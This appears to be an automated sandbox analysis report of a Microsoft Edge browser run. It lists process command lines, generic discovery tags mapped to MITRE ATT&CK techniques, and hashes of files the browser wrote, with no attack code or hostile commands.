  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7064,i,1218361716680402646,5003717381318382375,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=7076 /prefetch:1
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7480,i,12427649105822518056,2104940159442231278,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=7556 /prefetch:1
  2⤵
  PID:5448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7096,i,12101227952050941468,15842922346283969464,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=7172 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=7316,i,4209179203289520715,4244303822197357124,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
  2⤵
  PID:5196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=6284,i,6219509066792525705,17189216299328642987,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:2608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=5440,i,13690797753220251635,1178912284763997770,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:1
  2⤵
  PID:5584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=6644,i,13701786032207949019,10600829490208720692,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:1
  2⤵
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5884,i,18050757113181752346,570424237155342306,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:8
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6124,i,910031177155015540,14126193088117336757,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:8
  2⤵
  PID:5500

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x240,0x244,0x248,0x23c,0x28c,0x7ffb8e8cc188,0x7ffb8e8cc194,0x7ffb8e8cc1a0
  2⤵
  PID:4408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,16763717001188069915,11830225879165840037,524288 --field-trial-handle=2300,i,15951844468697412087,14888693366309902634,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1696,i,16580039051965876614,14364657800726994081,262144 --field-trial-handle=2300,i,15951844468697412087,14888693366309902634,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:2
  2⤵
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2624,i,3699985268780591390,7051418648327627503,524288 --field-trial-handle=2300,i,15951844468697412087,14888693366309902634,262144 --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:8
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3384,i,10161632898949854698,1280989136978171186,2097152 --field-trial-handle=2300,i,15951844468697412087,14888693366309902634,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:2
  2⤵
  PID:4768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1380_13433540046362064_1380.pma

Path C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\1380_13433540046362064_1380.pma
Size 944B
SHA256 77b4f7a56226dac723e75967c9932bdbb93d57796bd00730b75d96408e00fd55
MD5 275c4b2adfbc66c86da785e53cc8dd97
SHA1 1f376d1be6e80c6ac9602be5b5383f93c429d9e7
SHA512 e50bd3a9e27bfac5177608e704e51051da32aedffc334900b89ad192204e8d7b3af474273ef292c82aae671f2ce18d94e3cf71e1d1395d78e1ec88c031c2558d
TLSH
T1CB11478577685A17D8038B31C4FA03563FB6F9E42B424B6B1545B60F0E132C88E8A080
MD5 SHA1 SHA512 TLSH

Submit Download

msedge_installer.log

Path C:\Program Files\msedge_installer.log
Size 122KB
SHA256 906c7856fd52b1c6ab314c2f79975e19ba5ec26937282a5ebe5de95027cbbaea
MD5 a7f26c47050fc8b2945e7cedd9010ccd
SHA1 0567ef69f3e76518c545fb3a5d491eabd85cc1e5
SHA512 d354ae3acff3c25c7071ba99e33c10137a2e1d11d19df29ea5b5882d32f88cb8420ea4cb6be3608c14e3fe62d6c3928b48422a560e6d6ba0643b3e12f32ae7ff
SSDEEP 3072:QdNpSoku3mLcsXYB7GyEFR6OoM7f9LIOD:QdNpMXYvEFRnoM7f9LIOD
TLSH
T1BFC3433D3B0E81777B40EE9729573525A7BD2247E1C82BE97E68E040B0C69D6116F0BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5d2c4e39ddbeb0ac61628bae04f1ac5787600ec893b0e230d1a84d61470771a9
MD5 cd6e704306442404371caebfec7f5b29
SHA1 e4beab8b7820af3633bf7c75a5498a958a95832e
SHA512 de66681a9245e8ece7d7e2ea2080251c395f2aeb8a885ac007eaf16f2ee3a3e36610d2afc17be964a038704371cedfbe4da91143ebed5adac20dbda97768d6e6
TLSH
T13AD080273A196404F7964175A483D7061319956129579712F310C44C99775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1c8e6fcbb66aba64fe595f222fc4117e00e82ccdc0eef2100a1b4f7babb04f87
MD5 398d1e7948d46a763209c466fdacd0fb
SHA1 b26f2c32bc106089a59ce779d792beaba59f92bf
SHA512 a0bbf31d803e7333d004f03de9c261732d00cceb5d82dd64b5f0decf8adc8b840891187c72bb21cce83873e6d4dd2fab89d4c7efa320afe2ef3589678dcb1424
TLSH
T1B6D080277A196004F3964175A483D7061319956129575711F310C44CA9775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

1df91abe-ac11-4d5e-811d-e1b9badf3ed0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\1df91abe-ac11-4d5e-811d-e1b9badf3ed0.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 61B
SHA256 e1b77550222c2451772c958e44026abe518a2c8766862f331765788ddd196377
MD5 4df4574bfbb7e0b0bc56c2c9b12b6c47
SHA1 81efcbd3e3da8221444a21f45305af6fa4b71907
SHA512 78b14f60f2d80400fe50360cf303a961685396b7697775d078825a29b717081442d357c2039ad0984d4b622976b0314ede8f478cde320daec118da546cb0682a
TLSH
T139A00254944498FF4655836A05654463C7AA504780285E565B24115E42A25AD0450947
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 7KB
SHA256 983dc8125c3057503cf6be40ee87fd5a18ec4b09abd976635426f55ccfa1ce77
MD5 c926eae2674da72793615a57da62a47f
SHA1 7ce4996b12459c83e3964cf580f0b0c18d2e4fc5
SHA512 d3873759b8271f731575bc922f677b661d8347181ec543f93d4598a6e32fbfec85fdb13ef33a981f2816109fef47443c51c6253c454a29196b32d0e9f340e912
SSDEEP 96:sa2YbiEDWf0scdb9kfdHW+i0vx6W6hfuH9EOx+WVoMfm+uecpYQjc0D6YwgwUhga:sxiu8sPlrpJHW6+WNGYxgxhgOJ
TLSH
T173F1A752AE24B57B4CCBE11DBB26BB13E2F6503165C5194CEAFC866C099B6CD230781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 26KB
SHA256 f0a410061572c4532ab88a488e4cdda52c62ecaa6e594156b304fe2b6f24cacb
MD5 024b83093ac06e2832d800370f44971f
SHA1 7756dc99cc17e84f9f72531bb4f90b791f49fab6
SHA512 533ec3928b304abc3cbfc2a4964b12996db2b457f9dafc2de80ef077eeb460a4c72dd79311a87326b38329ae66b996ff43a4c109206099927965c4e06db97301
SSDEEP 768:FHqbUj+WvSCs68F1+UoAYDCx9Tuqh0VfUC9xbog/OVHZLlRTKdUrox:FHqbUj+WvSCs6u1jaaZLbWd/x
TLSH
T1FBC2D93B340CCA7E4FC01A9DDD5A6F972E9802C7AB588D4447FA994C02C77EA512B4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 8b85c5d8093dcbc85468b96f882e11e5afb76248584796f4cac59a952b45be61
MD5 0589e42f15b57eb5b021a2b0312da66c
SHA1 47b926bb1b68d86f56910595f66dc4a4e721841f
SHA512 511cdb00d0c3b8116fc2725cbfe4440a07810ee290413b04d6d7d758bd86f07ddb29d16a66db7a803ad07dbc2c3da44c1bd3661ec338f856378ad231fbaea9fd
SSDEEP 192:vON56Db6QmiUy+SHBa+jLIOmYtmpRg1oU6:vON56uyHBa+HIOnFKU6
TLSH
T17002D73569786CB79EE26E49F48727279FA4106BD9962F84DAD81F1C00D764C230B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 e9d5254645329acda3e2ec185a29d5b8d729c6b717b58bcaffeb586210fa7239
MD5 1b975ecef7840153cbaf7acd289de737
SHA1 837fa10a6c1219363abc741d664593b7e9a20e13
SHA512 4514d9a0ed9ca2f2df229cfe48886e779a5313fef4f8dae64c9bd61e125efc7174b6a17bb8868ba8c46fae4e4cb5775164f4af4732b454155ce3927fcd0cc2ba
SSDEEP 192:zosNVVDbiJQmiUy152Ea+jLIOmYtmsa0e45ulNmaqFU9:zosNVV6nA2Ea+HIOnJa4FNU9
TLSH
T1D712E83569786C779AE29E59F4873B179FA8116BD58A3F80D9C81F1C00C769C134B83B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 d1c5bfab81223304f3b028fb591f7e530eb7ecc0c2f56c546890c32adc4a50c5
MD5 6fc41a32c7191938ea96969fe868f577
SHA1 81496296d29e6549982b658033ff60ae4426c190
SHA512 adfdc902b04b6adeba99318e8fb94a5f70de5a2755ffce829cc37bad2e2a40d15a3a96e9017b0b51dcf8614ca34db85377136d30ff5a2da4b280f54059e0cdca
SSDEEP 192:zosNVVDbiJQmiUys52Ea+jLIOmYtmsa0e45ulNmaqFU9:zosNVV6nJ2Ea+HIOnJa4FNU9
TLSH
T1C012E83569786C779AE29E59F4873B179FA8106BD58A3F80D9C81F1C00C769C130B837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 37e4b513badcd0690b09346409805efdccd9fb936294de19375b66346a96adfc
MD5 658ca3158066444c49b81f27a1a491ac
SHA1 9b32796feefe20cacaced7112064409959643f3e
SHA512 af72affd097a5221fb9a445a4b44a909d3ae799bb6d7abccd0217998d3c121bc24d08c37404a218e331ec0b9f81e9c9449d8f76a181c8e5e0248dc015783930b
SSDEEP 192:wONJ6DbfQmiUytS2Ba+jLIOmYtmsa0e45ulNz5qFU6:wONJ6Jr2Ba+HIOnJa44AU6
TLSH
T14212D93569786C779EE2AE59F48737179FE8116BD98A2F80DAD81E1C00C768C134B836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d14767a2-ce28-46e9-b348-fd78fbe3720c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\d14767a2-ce28-46e9-b348-fd78fbe3720c.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 2c51a5f5711af9f962fddea9960811c4452ad023140a33bbe77de46ff1f8efc7
MD5 77eaf47b9f656a3aed6567ae96f857aa
SHA1 137bd542adf2df261071981da10a6f75780c2b4d
SHA512 18201bd58af2b82ac0fa9b50b92f14c00b37c9a926f7ccbfb2bd27b0c990f7b36183d2038dbc41d19581c3ce50d68c78fa192c4ad73363694fb910274523074a
TLSH
T1F7411848B6E91148B3B77E56AFF7A8AD847E78772B07D55E00110D4F0622E44C8A1777
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Crashpad\settings.dat
Size 280B
SHA256 9dc2a6f95ed881cd6de4538b59d01bfedda3dae93522fa4c2606734f3851433c
MD5 4f15d70069692965257dc027c6075361
SHA1 ce522a9a9043b4713b7b135071cc1906d749cfeb
SHA512 c9c6af777e46890a86ecd886db3cca87e8f9a1d1c9aa4f5be6fc1e044b0d0ca8b54afdeaff2f5d9ef2247bdb7bf669aeea815ca9dd4c961e6588567d2e15d274
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Crashpad\settings.dat
Size 280B
SHA256 3ed102637733a106db45a3b8b4e8c5eea7a2ddd072cb6e12c9c8db6a48337517
MD5 71d3eae479874f2770b1bfcd01e2af13
SHA1 5b9174b4b4c907416c1144176712369519e89528
SHA512 5a765d5e7876f7aab1abf82cee79d4d30a3689b99f63ca175295eb6c6204688321f0c8b8aad0d299a2d1c14fdfdd7268e2d2dd5f2de8e4a97ed040bd5f17d3ec
TLSH
T1A0D022A0FF082A0CF000283A2002EF088208CE808303030203B38803CCCC08028CF8CF
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Code Cache\js\index-dir\temp-index
Size 2KB
SHA256 397682553ee7aeea15c1f036a3f6c5d11c03136daca4587d40537fbcca7128e3
MD5 bb4abcf51a086a7e7746f9b667d5e658
SHA1 a9d418f10387b2d2774c7110c2fc127a42bf9a70
SHA512 9eca8bb07dd24ad605df7d986a978c466b9ce9483ad40a256676102fab582ebd0af1631a123c2577e46e68a0081bfcc4e6c0bb38f5be1947f006b828b8a2f7a1
TLSH
T1C2510AC1C09650B8EB586CB320CA9A87773257033CFB2F768951CE774E523B72D9446A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58c704.TMP

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Code Cache\js\index-dir\the-real-index~RFe58c704.TMP
Size 48B
SHA256 fa4b9d430f3b121ce2026f9a3f6bce8a8e52f0d7cc4c922727af36ba612ce4c5
MD5 c8f235d51911040e3051aade69ebae25
SHA1 574dc8512f17c31b2a961a7bf8a85e100aec8db7
SHA512 cc1ec298469496eedcd58da18ed530f1803d4b40b594aef68ec5815549cdcf4180a7f69052b8ac144778970cde6ea1154360019c3b6d19389258f5484be11428
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Extension Rules\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Network\Sdch Dictionaries
Size 211B
SHA256 af038b6730bf6bce3479beabc735f51fdbd45a443590034bd8068920f568a50d
MD5 68c9a80c9b73636cb4829334c983d1e9
SHA1 e0b470be78e7bcbb03ae1aff78d0f0e1a1d8dca3
SHA512 8e8edd1cda72b80b09f59009efbd72ed824e9797bb0a3f103c495ae29a4613f72a6fea09551cd09e1f30d78a31500572a5abe031085ae5af84bbc06cf4f3d6f8
TLSH
T1ECD02317720531B7556EFDC55066BC4FC72640101441DDD421D07C9C153645D4517144
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Preferences
Size 11KB
SHA256 fe528048b2e8d76aaecc31fd8ccd8047142cb3918bd3a526836daa52f77e20c8
MD5 e041dde4578056c1047e41866f6ce5f5
SHA1 c25fe23df55803245acbe2728610d0a3f9b659e3
SHA512 1a3b3b42941a940e76db257f75a556aeeb7a1e7de2548acb9a6711055c07dd3c052092e4f69d0ec798f6c7d5a538d0e4282becb02f788ec196558491c016f375
SSDEEP 192:sxR5RvucBz7/fVst2s2odpYbXe/gb+WNVdUI/tIg5SwSNC:sxR5omz7/fVsgG//cVbXS8
TLSH
T1B232D952AA24E9778CCBE609BE747F12D6F9507298960E5CEBFCC51C04AA6ED120740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Preferences
Size 11KB
SHA256 20143c0c0880cbbac50ec7d85fdc8e3fbde455ea68205ee74ac4e5da1acfaa41
MD5 81f8f32101f71bb6341c68d5f581f739
SHA1 cc1beda11bcd171b39ff0601a66e6fdc14626f5a
SHA512 f45317fca54f11f7e75605532ce3dc2ec96338d70de684f946b3a06c6cfa17cdf2815c9756e0254dc1eafceeffa93716d8c30b04cbd8b92d93881a7b5f8d118b
SSDEEP 192:sxR5RvucBz7/fVsQs2odpYbXe/gb+WNVdUo/tIg5MwSNC:sxR5omz7/fVsQG//cVJZS8
TLSH
T13132D952AA24E5778CCBD609BE747F13D6F9507298961F5CEAFCC11C04AA6ED120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe58999b.TMP

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Preferences~RFe58999b.TMP
Size 10KB
SHA256 eab5afcfb380cd8a8c2f642b16c724b8d6991da2ca651064c9f462e85141bb13
MD5 de7ef090a4098ec99310e00bf4817319
SHA1 b2a3b0289c00651bea86250e883d26d6932eea3a
SHA512 4469a6e3b4fb0de0f7f506f8421eba2d359e69630cf5f90e1a5934163a00fbb9c7b1157784650c8a9e6bd1d0f5494e6fdb84be9665d5e4b478caa80ca72b4aa4
SSDEEP 192:sxR5RvucBz7/fVsKs2odpYbQBe/gb+WNVdUo/tIg/wSNC:sxR5omz7/fVsKGps/cVJ4S8
TLSH
T18432C852AA24E5778CCBE609BE347F13D6F9507299961E5CEBFCC11C04AA6ED120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 181068807663747f2d9c1de91b6a164a36a91911bad719505ed283174ac95957
MD5 8c54a5041e474060a703862aaaeb91e9
SHA1 8de078ccf66215dae0c857c22247692db2c5506b
SHA512 4f8c9878b845178c4ed3334713f5cd25d84732851968a86dd0586a45b94072429e19ecb8b332307cb4f1e5bc8e3266aac041b6604cf198993abf0ea53f456243
TLSH
T1B6A002E045CA8821DD51177027D34E5027316811916B83574691D0B8FD635E14201115
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

